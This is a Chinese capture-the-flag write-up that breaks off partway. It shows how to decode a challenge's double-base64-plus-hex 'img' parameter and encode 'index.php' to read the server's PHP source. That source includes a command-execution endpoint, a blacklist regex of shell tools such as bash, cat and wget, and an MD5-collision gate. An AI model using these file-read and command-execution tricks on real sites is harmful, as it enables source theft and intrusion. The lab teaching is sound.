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'></img><br><br>md5 is funny ~<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

页面的URL

http://xxx.xxx.qsnctf.com:8081/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

第一波源码分析+解题

网页的源代码当中,img标签处为base64编码的特殊字符串,其中最为标志的是其末尾的两个”==”.

再观察网站的链接:

http://xxx.qsnctf.com:8081/index.php
?
img=TXpVek5UTTFNbVUzTURabE5qYz0
&
cmd=


拆解下来有img和cmd两大参数。
参数img解码有三层:
三次bese64解码加上一次hex(16进制解码)解码就能出现原来的字符串
随便找个php解开这个img参数的加密即可

<?php
$str_basehex = 'TXpVek5UTTFNbVUzTURabE5qYz0=';
echo hex2bin(base64_decode(base64_decode($str_basehex)));
?>

解出的值为:555.png

既然url的加密参数破解了,而且这个加密参数又能读取文件,可以尝试读取其它文件来试试水。目前就访问到了一index.php的主页面,可以试试看直接获取源代码。

$str_hexbase = 'index.php';
echo base64_encode(base64_encode((bin2hex($str_hexbase))));

得到的值是:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

既然得到值,可以尝试将之放到img参数当中,观察可以得到img的base64参数有所变化。如下

url请求:
http://13b4e951-0a53-4356-a7be-3d61faeddaa5.challenge.qsnctf.com:8081/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

回应时产生的img变化:
<img src="data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=">

把得到的编码进行base64解码

<?php
$base_str = "data:image/gif;base64,PD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHx8IH4gRV9OT1RJQ0UpOwpoZWFkZXIoJ2NvbnRlbnQtdHlwZTp0ZXh0L2h0bWw7Y2hhcnNldD11dGYtOCcpOwokY21kID0gJF9HRVRbJ2NtZCddOwppZiAoIWlzc2V0KCRfR0VUWydpbWcnXSkgfHwgIWlzc2V0KCRfR0VUWydjbWQnXSkpIAogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2ltZz1UWHBWZWs1VVRURk5iVlV6VFVSYWJFNXFZejAmY21kPScpOwokZmlsZSA9IGhleDJiaW4oYmFzZTY0X2RlY29kZShiYXNlNjRfZGVjb2RlKCRfR0VUWydpbWcnXSkpKTsKCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwgIiIsICRmaWxlKTsKaWYgKHByZWdfbWF0Y2goIi9mbGFnL2kiLCAkZmlsZSkpIHsKICAgIGVjaG8gJzxpbWcgc3JjID0iLi9jdGYzLmpwZWciPic7CiAgICBkaWUoInhpeGnvvZ4gbm8gZmxhZyIpOwp9IGVsc2UgewogICAgJHR4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKTsKICAgIGVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIiAuICR0eHQgLiAiJz48L2ltZz4iOwogICAgZWNobyAiPGJyPiI7Cn0KZWNobyAkY21kOwplY2hvICI8YnI+IjsKaWYgKHByZWdfbWF0Y2goIi9sc3xiYXNofHRhY3xubHxtb3JlfGxlc3N8aGVhZHx3Z2V0fHRhaWx8dml8Y2F0fG9kfGdyZXB8c2VkfGJ6bW9yZXxiemxlc3N8cGNyZXxwYXN0ZXxkaWZmfGZpbGV8ZWNob3xzaHxcJ3xcInxcYHw7fCx8XCp8XD98XFx8XFxcXHxcbnxcdHxccnxceEEwfFx7fFx9fFwofFwpfFwmW15cZF18QHxcfHxcXCR8XFt8XF18e3x9fFwofFwpfC18PHw+L2kiLCAkY21kKSkgewogICAgZWNobygiZm9yYmlkIH4iKTsKICAgIGVjaG8gIjxicj4iOwp9IGVsc2UgewogICAgaWYgKChzdHJpbmcpJF9QT1NUWydhJ10gIT09IChzdHJpbmcpJF9QT1NUWydiJ10gJiYgbWQ1KCRfUE9TVFsnYSddKSA9PT0gbWQ1KCRfUE9TVFsnYiddKSkgewogICAgICAgIGVjaG8gYCRjbWRgOwogICAgfSBlbHNlIHsKICAgICAgICBlY2hvICgibWQ1IGlzIGZ1bm55IH4iKTsKICAgIH0KfQoKPz4KPGh0bWw+CjxzdHlsZT4KICBib2R5ewogICBiYWNrZ3JvdW5kOnVybCguL2JqLnBuZykgIG5vLXJlcGVhdCBjZW50ZXIgY2VudGVyOwogICBiYWNrZ3JvdW5kLXNpemU6Y292ZXI7CiAgIGJhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDsKICAgYmFja2dyb3VuZC1jb2xvcjojQ0NDQ0NDOwp9Cjwvc3R5bGU+Cjxib2R5Pgo8L2JvZHk+CjwvaHRtbD4=";
// 取出base64字符串
$base_str = explode(',',$base_str)[1];
// base64解码出源代码
echo base64_decode($base_str);

解码出的源码如下:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

第二波源源码分析

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');

# 获取GET参数“cmd”
$cmd = $_GET['cmd'];


// 这下面是上面第一波分析的源码,这里得到了第二波的源码,所以作废了
